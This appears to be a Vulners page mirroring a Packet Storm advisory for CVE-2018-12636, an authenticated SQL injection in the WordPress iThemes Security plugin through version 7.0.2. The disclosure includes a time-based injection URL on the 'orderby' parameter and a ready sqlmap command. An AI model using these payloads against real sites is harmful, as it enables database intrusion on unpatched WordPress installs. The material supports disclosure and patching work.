Lucene search
K

WordPress iThemes Security SQL Injection

🗓️ 25 Jun 2018 00:00:00Reported by Clirim EminiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 47 Views

WordPress iThemes Security SQL Injection vulnerability version 7.0.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress iThemes Security Plugin < 7.0.3 - SQL Injection Vulnerability
25 Jun 201800:00
zdt
Circl
CVE-2018-12636
28 Jul 202116:34
circl
CNVD
iThemes Security SQL Injection Vulnerability
25 Jun 201800:00
cnvd
Check Point Advisories
WordPress iThemes Security Plugin SQL Injection (CVE-2018-12636)
26 Jun 201800:00
checkpoint_advisories
CVE
CVE-2018-12636
22 Jun 201816:00
cve
Cvelist
CVE-2018-12636
22 Jun 201816:00
cvelist
NVD
CVE-2018-12636
22 Jun 201816:29
nvd
OSV
CVE-2018-12636
22 Jun 201816:29
osv
Patchstack
WordPress iThemes Security plugin <= 7.0.2 - Authenticated SQL Injection (SQLi) vulnerability
25 Jun 201800:00
patchstack
Prion
Sql injection
22 Jun 201816:29
prion
Rows per page
`# Exploit Title: WordPress Plugin iThemes Security(better-wp-security) <= 7.0.2 - Authenticated SQL Injection  
# Date: 2018-06-25  
# Exploit Author: Alirim Emini  
  
# Website: https://www.sentry.co.com/  
# Vendor Homepage: https://ithemes.com/  
# Software Link: https://wordpress.org/plugins/better-wp-security/  
# Version/s: 7.0.2 and below  
# Patched Version: 7.0.3  
# CVE : 2018-12636  
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9099  
  
Plugin description:  
  
iThemes Security works to lock down WordPress, fix common holes, stop automated attacks and strengthen user credentials. With advanced features for experienced users, this WordPress security plugin can help harden WordPress.  
  
Description:  
  
WordPress Plugin iThemes Security(better-wp-security) before 7.0.3 allows remote authenticated users to execute arbitrary SQL commands via the 'orderby' parameter in the 'itsec-logs' page to wp-admin/admin.php.  
  
Technical details:  
  
Parameter orderby is vulnerable because backend variable $sort_by_column  
is not escaped.  
  
File: better-wp-security/core/admin-pages/logs-list-table.php  
Line 271: if ( isset( $_GET[' orderby '], $_GET['order'] ) ) {  
Line 272: $ sort_by_column = $_GET[' orderby '];  
  
File: better-wp-security/core/lib/log-util.php  
Line 168: $query .= ' ORDER BY ' . implode( ', ', $ sort_by_column ));  
  
Proof of Concept (PoC):  
  
The following GET request will cause the SQL query to execute and sleep for 10 seconds if clicked on as an authenticated admin:  
  
http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip%2c(select*from(select(sleep(10)))a)&order=asc&paged=0  
  
Using SQLMAP:  
  
sqlmap -u 'http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip*&order=asc&paged=0' --cookie "wordpress_b...; wordpress_logged_in_bbf...;" --string "WordPress" --dbms=MySQL --technique T --level 5 --risk 3  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jun 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.40715
47